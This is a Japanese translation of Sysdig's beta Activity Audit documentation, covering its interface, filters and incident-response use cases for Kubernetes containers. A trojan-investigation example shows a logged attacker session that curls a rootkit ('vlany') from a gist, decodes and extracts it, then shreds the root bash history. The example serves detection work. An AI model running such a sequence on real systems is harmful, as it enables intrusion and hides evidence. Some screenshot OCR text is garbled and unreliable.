

[Beta] Activity Audit アクティビティ監査



本文の内容は、ベータ版としてリリースしていますActivity Auditのドキュメント (https://docs.sysdig.com/en/-beta--activity-audit.html)を元に日本語に翻訳・再構成 した内容となっております。

アクティビティ監査について	4
アクティビティ監査の使用方法を理解する	4
トラブルシューティング	4
規制	5
監査インターフェイスをナビゲートする	6
グルーピング	6
データソース	6
度数グラフ	7
タイムナビゲーションボタン	8
詳細ビュー	8
ホワイトリスト(+)およびブラックリスト(-)の属性オプション	9
トレースボタン (kube exec アクティビティ)	9
フィルタ	9
アクティビティの詳細を確認する	11
コマンド詳細	11
ネットワーク接続詳細	12
Kubectl Exec 詳細	13



2



ユースケース例	14
ブラックリスト: コマンド	14
インシデントレスポンスのフィルタリング	15
kubectl exec トレースをフォローする	17





アクティビティ監査について

アクティビティ監査は、キャプチャから価値の高いデータを取得し、常に有効にして検索可能にし、 クラウド固有のアセットに対してインデックスを作成します。このストリームには、実行されたコマ ンド、ネットワークアクティビティ、およびKubernetes APIへのkube exec リクエストが含まれます。

Activity Audit BETA	View Legacy Commands Audit
Deployments and Pods \checkmark	Filters Datasources
✓ Entire Infrastructure	
> cronagent (4654)	
> kube-system (0)	
> null (0)	
> store-frontend (46)	12:00:00 PM 01:00:00 PM Nov 7, 1:50:00 PM 03:00:00 PM 04:00:00 PM 05:00:00 PM
> sysdig-agent (0)	Time Data Source Details
	Load Newer
	T November 07, 5:56:42 PM kubect lexec username system:serviceaccount:cronagent:cronagent subresource exec command bash resource po
	November 07, 5:56:42 PM network process name kubectl direction out l4protocol tcp clientlpv4:Port 100.96.7.50:57400 serverlpv4:Port
	November 07, 5:56:42 PM network process name kubectl direction out l4protocol tcp clientlpv4:Port 100.96.7.50:57398 serverlpv4:Port
	November 07, 5:56:42 PM network process name kubectl direction out l4protocol tcp clientlpv4:Port 100.96.7.50:57396 serverlpv4:Port
	November 07, 5:56:42 PM command comm cut cmdline cut-d-f1 cwd / uid 0 pid 1516 ppid 1512 shell id 12564
	November 07, 5:56:42 PM command comm grep cmdline grep Running cwd / uid 0 pid 1515 ppid 1512 shell id 12564
	November 07, 5:56:42 PM command comm grep cmdline grep woocommerce cwd / uid 0 pid 1514 ppid 1512 shell id 12564

アクティビティ監査の使用方法を理解する

アクティビティ監査を使用すると、ユーザーはさまざまなデータソースを詳細に表示して、監視、ト ラブルシューティング、診断を行ったり、規制コントロールに対応したりできます。

トラブルシューティング

システム調査は、Sysdigによって生成されたイベント、または別のツールまたは人からのアラートに よってトリガーされる場合があります。

 コンテキスト化された関連データの検索アクティビティ監査により、基になるデータに簡単にア クセスして、イベントの追跡、その影響の評価、および問題の解決に役立てることができます。





Sysdig Secureのポリシーイベントから、関連するアクティビティ監査に直接ジャンプして詳細を 調査します。

Policy Events		ip-172-20-52-203		EXPORT
Browse By Hosts & Containers	•	About 2 hours		Policy Event Details
Entire infrastructure > ip-172-20-38-255 > ip-172-20-41-218	1	Terminal shell in container Ip-172-20-52-203 * k8s_chient_chient-5666487_D About 7 hours	مە	When 11//1/2019121755272 pm (9 hours ago) Related Resources Capture and commands will cover 10 minutes around the time of the event.
> ip-172-20-47-49	0	Terminal shell in container Ip-172-20-52-203 > k8s systig-agent sys_290d8 0	مە	VIEW CAPTURES 1 ACTIVITY AUDIT
> ip-172-20-52-203	4			Severity
> ip-172-20-61-88	2.80K	Alcal 3 days		Inign Fight Traggered Placy Terminal shell in container Traggered Placy Terminal shell in container Traggered Placy Traggered Place Scopp 1. host hostName: (p.172:20-52:20:3 2. container unner kits_systalp agent_systalp agent_ntogs_systalp agent_80615d1a ar30-480b b88c todds:252008.0 Host Host Container D: c290doc648ef Name: Kits_systalp agent_systalp agent_explang-agent_80615d1a ar39-400b b88c-b0d8c2525008.0 Image: systalp agent_systalp agent_explang-agent_stalp agent_stalp agent_st
				A shell was spawned in a container with an attached terminal (user-root Ms.uysidi gagent, systid-gagent- indgu, systig-garef_1005 fold and 37940bb eBeb code25203db.0 (d-9460cbc648e) shell han parteri-run (pPARENT] cmdine-bash terminal-34816 container_d-e2986cc648el image=systigragent)

ユーザーへのコマンドと接続のトレースアクティビティ監査は、Kubernetesユーザーからの対話型
 要求をコンテナ内で実行されるコマンドとネットワーク接続に関連付けることができ、オペレー
 ターはこのアクティビティをユーザーIDにトレースバックできます。

規制

アクティビティ監査は、適切なデータの可視性とセキュリティ対策が実施されていることを監査人に 証明するのに役立つインフラストラクチャに関するデータも提供できます。

アクティビティ監査は、多くのコンプライアンス標準の重要な要件です。

- SOC2
- PCI
- <u>HIPAA</u>
- NIST 800-53





監査インターフェイスをナビゲートする

アクティビティ監査には、継続的に更新されるアクティビティのリストが表示されます。UI 機能を使用して、必要な情報を見つけてフィルタリングします。

Activity Audit BETA	View Legacy Commands Audit
Deployments and Pods	ters Datasources.
۹	command
MY GROUPINGS	network kubectl exec
Clusters and Nodes	01.00.00 PM 02.00.00 PM 03.00.00 PM 04.00.00 PM 05.00.00 PM 06.00.00 PM
Services	Time Data Source Details
Opployments and Pods (starting with Clusters)	Load Newer
Replica Sets	ovember 07, 6:18:50 PM network process name kubecti direction out l4protocol tcp clientipv4:Port 100.96.7.50.34978 serverip
Opployments and Pods	ovember 07, 6:18:50 PM network process name kubecti direction out l4protocol tcp clientlpv4:Port 100.96.7.50.34976 serverlp
Hosts & Containers	ovember 07, 6:18:50 PM network process name kubecti direction out l4protocol tcp clientlpv4:Port 100.96.7.50.34974 serverlp
Replication Controllers	ovember 07, 6:18:50 PM command comm cut cmdline cut-d-f1 cwd / uid 0 pid 11611 ppid 11607 shell id 12564
Ø Daemon Sets	ovember 07, 6:18:50 PM command comm grep cmdline grep Running cwd / uid 0 pid 11610 ppid 11607 shell id 12564
Containerized Apps	ovember 07, 6:18:50 PM command comm grep cmdline grep woocommerce cwd / uid 0 pid 11609 ppid 11607 shell id 12564
Stateful Sets	ovember 07, 6:18:50 PM command comm kubectl cmdline kubectl get pods -n store-frontend cwd / uid 0 pid 11608 ppid 1160
	November 07, 6:18:50 PM command comm stty cmdline stty sane cwd / uid 0 pid 11605 ppid 11604 shell id 12564
	ⓒ Nov 7, 12:18 pm - Nov 7, 6:18 pm 6 Hours 10M 1H 6H 12H 3D I◀ ▶I

グルーピング

ドロップダウンメニューから事前に定義されたグループでアクティビティをフィルタリングします。

グループ内の各要素には、そのエンティティのアクティビティエントリの概要が表示されることに注 意してください。この番号を使用して、アクティビティの多い領域を発見できます。 フィルタリング は数値を変更します。

データソース





右上のドロップダウンを使用して、特定のデータセットから情報をフィルタリングします。 現在の データソースは次のとおりです。

- ユーザコマンド
- ネットワークコネクション
- Kube exec コマンド

度数グラフ

グラフには、各データソースのアクティビティ頻度が表示されるため、ユーザーは異常を簡単に把握 できます。



上の画像は、午後7時から午後8時までのネットワークアクティビティ(オレンジ色の線)の急上昇を 示しています。

ピーク上でマウスをドラッグして、時間枠で自動ズームし、詳細を確認します。





タイムナビゲーションボタン

タイムウィンドウのナビゲーションバーを使用して、そのウィンドウ内で実行されるアクティビティのみを表示します。(詳細については、<u>時間ウィンドウ</u>も参照してください。)

詳細ビュー

アクティビティ行を選択して、フィルタリング可能な属性(ホワイトリスト/ブラックリスト)などの 詳細を表示します。

各データソースの属性については、アクティビティの詳細を確認するをご覧ください。

詳細ビューからホワイトリスト(+)/ブラックリスト(-)属性フィルターを使用することもできます。





serverPort=443 ×			Datasources	~
			connection details	×
			time November 07, 6:52:02 PM	
01:00:00 PM 02:0	0:00 PM	03:00:00 PM	connection direction direction: "out"	
, mo			connection Details I4protocol: "tcp"	
November 07, 6:52:02 PM	network	process name kub	clientlpv4: "100.96.7.50" clientPort: 43430	
November 07, 6:52:02 PM	network	process name kub	serverlpv4: "100.64.0.1"	
November 07, 6:52:02 PM	network	process name kub	scope	
November 07, 6:51:02 PM	network	process name kub	kubernetes.namespace.name: "cronagent"	
November 07, 6:51:02 PM	network	process name kub	kubernetes.deployment.name: "cronagent" kubernetes.pod.name: "cronagent-ffd987cd8-rxpgy"	
November 07, 6:51:02 PM	network	process name kub	containerid: "bdeb81a16987"	
November 07, 6:50:01 PM	network	process name kub	host hostName: "ip-172-20-41-218"	
November 07. 6:50:01 PM	network	process name kub	hostMac: "0a:34:8b:22:b9:95"	

ホワイトリスト(+)およびブラックリスト(-)の属性オプション 詳細ビューの属性の横には、フィルタリングに使用される+/-記号があります。

+をクリックして属性を含めます。 クリック-フィルターから属性を除外します。

トレースボタン(kube exec アクティビティ)

各kube exec項目の横には、トレースボタンがあります。

この機能を使用すると、コンテナのアクティビティを元のKubernetesユーザーとIPに関連付けることができます。kubectl exec Traceの追跡を参照してください。

フィルタ





フィルタリングは、アクティビティ監査のパワーの中心です。フィルターを使用すると、意味のある データと接続を必要に応じて検索、並べ替え、解析、表示できます。

アクティビティデータをフィルタリングする方法:

- データソース:ドロップダウンからデータソースを選択します:ネットワークアクティビティ、 コマンド、kubectl exec。
- 属性(+/-):属性の横にある+または-を選択して、フィルターからその属性を含める/除外する
- 属性(手動):属性がわかっている場合は、次の構文を使用して、フィルターボックスに手動で 入力できます。

属性を含める

attribute_name = "attribute_value" 例: comm = "grep"

属性を除外する

attribute_name ! = "attribute_value" 例: comm ! = "grep"

- kube execエントリをトレースして、そのユーザーからのそのセッションのすべての関連アクティ ビティを表示します
- 時間グラフ:グラフのセクションを選択して、時間枠を拡大し、詳細なアクティビティを表示します
- 結合:これらの方法は、必要に応じて組み合わせることができます。

たとえば、下のフィルタは特定のポッドでアクティビティを表示しますが、通常のIPアドレスからア クティビティを除外します。





Activity Audit BETA		View Legacy Commands Audit
Hosts & Containers	✓	Datasources 🗸
Entire Infrastructure ip-172-20-38-255 (0)	kubernetes details	×
 ip-172-20-41-218 (0) ip-172-20-47-49 (0) 	time November 11, 5.09:26.114 PM	
 ip-172-20-52-203 (0) ip-172-20-61-88 (0) 	12:00:00 AM 12:00:00 PM 12:00:00 AM 12:0 resource: "pods" Filter 🕁 -	Î
	Time Data source Details name: "woocommerce-687795897d-ctb5 Load Newer. subresource: "exec" subresource: "exec"	4* Filter 🕀 –
	Nov 11, 5:09:26 PM kube exec username admin sourcelp 85.251.13.185 comm container: "wooccommerce"	
	Load Older, Load Older, groups: "system masters" groups: "system authenticated" userAgent: "kubectl/v1.16.2 (linux/amd64	4) kubernetes/c97fe50*
	sources addresses sourceaddresses: "85.251.13.185" scope kubernetes.namespace.name: kubernetes.deployment.name:	

resource="pods" name="woocommerce-6877958" sourceaddresses!="172.20.41.2





アクティビティの詳細を確認する

コマンド詳細	
名前	説明
When	コマンドが実行された日付と時刻
Command	実行されたコマンド
Full Command Line	すべての変数/オプションを含む完全なコマンド
Working Directory	コマンドが実行されたディレクトリ
Scope	コマンドによって影響を受けるインフラストラクチャ内のエンティ ティ
Host	コマンドが実行されたホストのホスト名とMACアドレス
Container	コマンドが実行されたコンテナーID、コンテナー名、およびイメー ジ
Additional Details	詳細なユーザー/ホスト情報: コマンドのプロセスID(PID) コマンドの親プロセスID(PPID) コマンドを実行したユーザーのユーザーID シェルID





ネットワーク接続詳細

名前	説明
Time	ネットワーク接続の日付と時刻
Connection Direction	着信または発信接続
Connection Details	含む: • Transport-level protocol (lp4) • Client address, server address (lp4) • Client port, server port
Scope	ネットワーク接続の影響を受けるエンティティ
Host	接続が行われたホストのホスト名とMACアドレス
Additional Details	ネットワーク接続を起動または受信したプロセス名とID(親プロ セスID / PID)
Kubectl Exec 詳細	
名前	説明
Time	kubectlコマンドの日付と時刻





Kubernetes resource	 含む: resource: 影響を受けるKubernetesリソースの種類(現在 はポッドのみ) name: リソースの名前(ポッド名) subresource: 現在の exec command: 実行されたコマンド container: コンテナ: Kubernetes定義の概要名
Kubernetes user and group	 含む: user: kubectlコマンドを実行するユーザー名。サービスア カウントまたは人間のユーザーのいずれかです。 groups: ユーザーが属するグループ userAgent: クライアントuserAgent
Sources addresses	接続を開始した外部IPアドレス
Scope	含む Kubernetes namespace name Kubernetes deployment name Kubernetes pod name Container ID

Host

Hkubectl execが作成されたホストのホスト名とMACアドレス





ユースケース例

ブラックリスト: コマンド

ノイズの多いコマンドが0.2秒ごとに発生していますが、これは私の環境ではまったく正常なことで す。私にはもっと疑わしい他のコマンドがあります:

Foo Foo Foo Suspicious command - curl Foo Foo Foo ... 200 Foo Suspicious command - dpkg 500 Foo Suspicious command - shred

これは、「Foo」をブラックリストに登録し、残りに集中する明確なケースです。

インシデントレスポンスのフィルタリング

ポリシーイベントは、特定のポッドからのネットワーク接続に関して危険なピークを報告します。この例では、根本原因を検索する1つの方法について説明します。

この問題を引き起こしたユーザーとアクティビティは何ですか?





1. ポリシーイベントの横にある[アクティビティ監査]ボタンを使用して、関連する監査証跡に直 接ジャンプします。

Custom Grouping	Filters Datasources
 Entire Infrastructure cronagent (767) kube-system (0) null (0) store-fe (3406) client (3396) 	11.35:00 AM 11.45:00 AM 11.45:00 AM 11.55:00 AM 11.55:00 AM 12:00:00 PM 12:05:00 PM 12:10:00 PM 12:10:00 PM 12:20:00 PM 12:20:
e71d6652f1ca (3396)	Load Newer
 mysql (0) woocommerce (10) 	Nov 12, 12:10:36 PM net process name ab direction out Mprotocol top client 100.96.9.549978 server 100.70.91.97:80 pid 23949
> sysdig-agent (0)	Nov 12, 12:10:36 PM net process name ab direction out Mprotocol tcp client 100:96.9.5:49976 server 100.70.91.97:80 pid 23949 Nov 12, 12:10:36 PM net process name ab direction out Mprotocol tcp client 100:96.9.5:49976 server 100.70.91.97:80 pid 23949
	Nov 12, 12:10:36 PM net process name ab direction out Mprotocol top client 100.96.9.5:49974 server 100.70.91.97:80 pid 23949
	Nov 12, 12:10:36 PM net process name ab direction out Mprotocol top client 100.96.9.5:49974 server 100.70.91.97:80 pid 23949
	Nov 12, 12:10:36 PM process name ab direction out l4protocol tcp client 100.95.9.5/49972 server 100.70.91.97:80 pid 23949
	Nov 12, 12:10:36 PM net process name ab direction out l4protocol tcp client 100.96.9.5.49972 server 100.70.91.97:80 pid 23949

- 2. ここで一目で判断できます:
- 高頻度のアクティビティが発生しているポッド/ネームスペース(3396ネットワークエントリがある場所)
- アクティビティに関連するプロセス(この場合、ab、またはApache Benchmarkツール)
- グラフ内の関連アクティビティ(cmdおよびkube exec行)
- 除外できる繰り返しエントリ





Custom Grouping 🗸 🗸	commi+'dpirg' × comit	ni+"gpgv" + com	ni="back" ×	kmd X kub	e exec X	- X (
Entire Inflastructure cronagent (531) kube-system (0) mull (0)					kubernetes details fime November 12, 12:08:48:343 PM	,
 store-fe (23) client (13) client-566db44667-522ig (13) a71x645201xa (13) 	11/35/00 AM	11.40.00 AM	12 KI	1215-001	kubernetes resource resource (pods) name (sient-566db4idt57-52zig) subtresource (reso)	
> mysal (0)	Tame	Data Source	Details		command 'bash'	
 > woocommerce (10) > systig-agent (0) 	Nov 12, 12:10:12 PM	cmd	Load Wever		kubernetes user and group "johndoe"	
	Nov 12, 12:09:57 PM	cmd	emmin apt condine apt install apache2-utils covid / uni 0 pid 23706 ppid 22534 stivil id 22534		groups "systemimasters"	
	Nov 12, 12:09:29 PM	emd	comm apt cmdline aptinistall apache2-tools cwd / uid 0 pid 23210 ppid 22534 shellid 22534		userAgent: "kubectl/v1.16.2 (inux/amd64) kubernetes/c97fe50"	
	Nov 12, 12:09:17 PM	cmd	comm im imdine im-filvar/cache/apt/archives/* deb /var/cache/apt/archives/partial/* deb./var/cache/apt/* bin cvet: /tmp/ 4d	0 pid 23025 ppi	sources addresses	
	Nov 12, 12,09,17 PM	emd	comm sh cmdire sh-cm-f/var/cache/apt/archives/* deb /var/cache/apt/archives/partial/* deb /var/cache/apt/* bin Etue cmd /	/tmp/ usi 0 pid	scope	
	Nov 12, 12,09:04 PM	ernd	comm copy cmdine copy cwd / ud 0 pel 22778 ppid 22584 sheitid 22534		kubernetes namespace name. "store fe"	
	Nov 12, 12:08:50 PM	cmd	comm apt ondine aptupdate and / wid 0 pid 22584 ppid 22534 shellid 22534		kubernetes bepoyment name, calem kubernetes pod name, "cilent-566db44d67-522lg"	
	Nov 12, 12:08:48 PM	cmd	comm directions criticline directions to crist / unit 0 pid 22554 ppid 22553 shall at 22534		containerid: 'e71d6652f1ca'	
	Nov 12, 12:08:48 PM	cmd	comm dimame omdine dimame/usr/bin/lesspipe and 7 aid 0 pid 22552 ppd 22551 shell id 22534		host hostName: 'ip-172-20-52-203'	
	Nov 12, 12:08:48 PM	cmd	comm basename cindine basename /usr/bin/lesspipe civid / uid 0 pid 22530 ppid 22549 shellid 22534		hostMac: '0a-56/8d/81/7/13'	
	Nov 12, 12:08:48 PM	cmd	comm lesspipe andine lesspipe/usr/bin/lesspipe and / uid 0 pid 22549 paid 22548 shell id 22534			
	Nov 12, 12:08:48 PM	emd	comm groups cindline groups civid / uid 0 pid 22547 ppid 22546 inhelid 22534			
	⇒ Nov 12, 12.08.48 PM	kube exec	usemame johndoe sourcelp 85.251.13.185 command bash name client-566db44d67-52zig namespace store-fe-			
			Load Older			
			() Nov 12, 11-33 am - Nov 12, 12-33 pm		10M 1H 6H 12H 3D 14 H	

3. フィルタリングによりビューを調整します。

- ネットワークデータソースからcmdおよびkube exeに切り替えます。
- ノイズの多い繰り返しのエントリを除外します(例: comm!="bash")
- ユーザー情報のkube execアイテムの詳細を調査します。
- 4. フィルタリング後、次の詳細を含む集中インシデントレポートが作成されます。
 - Kubernetesユーザー「johndoe」
 - 彼が接続に使用した外部IP
- Apache Benchmarkストレステストツールのインストールと起動に使用した一連のコマンド





kubectl exec トレースをフォローする

実稼働環境では、kubectl execコマンドは通常疑わしいです。また、そのようなコマンドは対話型セッションであるため、どの個人がコマンドを発行したか、およびその個人が実行した他のアクティビティを特定することは困難です。ここでSysdigのトレース機能が使用され、kubectl execコマンドと特定のユーザー、およびそのユーザーのセッションで実行されるネットワークとコマンドのアクティビティが関連付けられます。

この例では、疑わしいアクティビティが検出されたため、誰かがトロイの木馬をダウンロードして実 行したかどうかを判断します。

グループを使用して、Kubernetes階層をネームスペースとデプロイメントごとに表示します。
 (カッコ内の数に基づいて)予期しない高頻度のアクティビティを表示するポッドに焦点を当てます。







2. 対応するアクティビティグラフを確認すると、時間枠に焦点を合わせ、何百ものコマンドと ネットワークイベントの中でkube execアクティビティを確認できます。

🛨 Nov 10, 3:59:58 AM	kube exec	username system:serviceaccount.cronagent.cronagent sourcelp 172.20.41.218 command bash name wcocommerce-687795897d-45f46 namespace store-fe
Nov 10, 3:58:58 AM	emd	comm shred cmdine shred-f /root/bash_history ovd /var/www/html/ uid 0 pid 3204 ppid 3179 shellid 3179
Nov 10, 3:58:58 AM	cmd	comm gzip emeline gzip d ovet /var/www/html/ uid 0 pid 3203 ppid 3202 shellid 3179
Nov 10, 3:58:58 AM	cmd	comm tar cmdline tar xvfz vlany-mastertar.gz cwd /var/www/html/ uid 0 pid 3202 ppid 3179 shelliid 3179
Nov 10, 3:58:58 AM	crnd	comm m cmdline m divany-master/ cwd /var/www/html/ uid 0 pid 3201 ppid 3179 shellid 3179
Nov 10, 3:58:58 AM	net	process name curl direction out Mprotocol tcp client 100.96.10.3.42970 terver 151.101.248.133.443 pid 3188
Nov 10, 3.58.58 AM	emd	comm base64 cmdline base64-d cwd /var/www/html/ uid 0 pid 3189 ppid 3179 shellid 3179
Nov 10, 3.58.58 AM	cmd	comm curt cmdine curt https://gist.gthubusercontent.com/mateobur/d888e36de12f8fe42a18f54ce4b1fc7c/raw/dd0c4cb23db7cc17a2086c5dee9338522fb8ae69i/vlany_cvid_/var/www/html/_uid_0_pid_3188_ppid_3179_thellid_3_
Nov 10, 3:58:58 AM	cmd	comm is cmdine is owd /var/www/html/ uid 0 pid 3187 ppid 3179 shellid 3179
Nov 10, 3:58:58 AM	emd	comm bash cmdline bash cmd /var/www/html/ uid 0 pid 3179 ppid 3172 she6id 3179

3. kube execアイテムを選択し、左側の[トレース]ボタンをクリックします。

このセッショントレースは、ユーザーがコンテナ内で実行したコンテナアクティビティ(ネットワーク、コマンド)のフォーマットされたレポートを表示します。

				×		
Time	Data Source	Details				
← Nov 10, 3 58 58 525 AM	kube exec	username system:serviceaccount.cronagent.cronagent sourcelp 172.20.41.218 command bash name woocommerce-6877958976-45146 namespace store-fe				
Nov 10, 3:58:58,601 AM	cmd	comm bash ondine bash owd /var/www/hbm// uid 0 pid 3179 ppid 3172 shellid 3179				
Nov 10, 3:58:58.634 AM	cmd	comm is cmdline is cwd /var/www/html/ uid 0 pid 3187 ppid 3179 shell id 3179				
Nov 10, 3:58:58.639 AM	cmd	comm curt cm/dine curt https://gist.githubusercontent.com/mateobur/d888e36de12f8fe4Za18f54ce4b1fc7c/raw/dd0c4cb23db7cc17a2086c5dee9338522fb8ae69/vlany cvid /var/www/html/ uid 0 pid 3188 ppid 31				
Nov 10, 3:58:58.640 AM	cmd	comm base64 cmdine base64-d cwd /var/www/htm// uid 0 pid 3189 ppid 3179 shell id 3179				
Nov 10, 3:58:58.671 AM	net	process name curl direction cut l4protocol top client 100.96.10.3:42970 server 151.101.248.133:443 pid 3188				
Nov 10, 3:58:58.690 AM	cmd	comm rm cmdline rm-rf vlany-master/ cvid /var/www/html/ uid 0 pid 3201 ppid 3179 shellid 3179				
Nov 10, 3:58:58:695 AM	omd	comm tar cmidline tarxvfz vlany-master.tar.gz cwd /var/www/html/ uid 0 pid 3202 ppid 3179 shell id 3179				
Nov 10, 3:58:58:697 AM	cmd	comm gzip condine gzip-d owd /var/www/html/ uid 0 pid 3203 ppid 3202 shellid 3179				
Nov 10, 3:58:58.724 AM	cmd	comm shred cmdline shred f /root/ bash_history cwd /var/www/html/ uid 0 pid 3204 ppid 3179 shellid 3179				

注意

GKEクラスターで実行している場合、このボタンは表示されません。

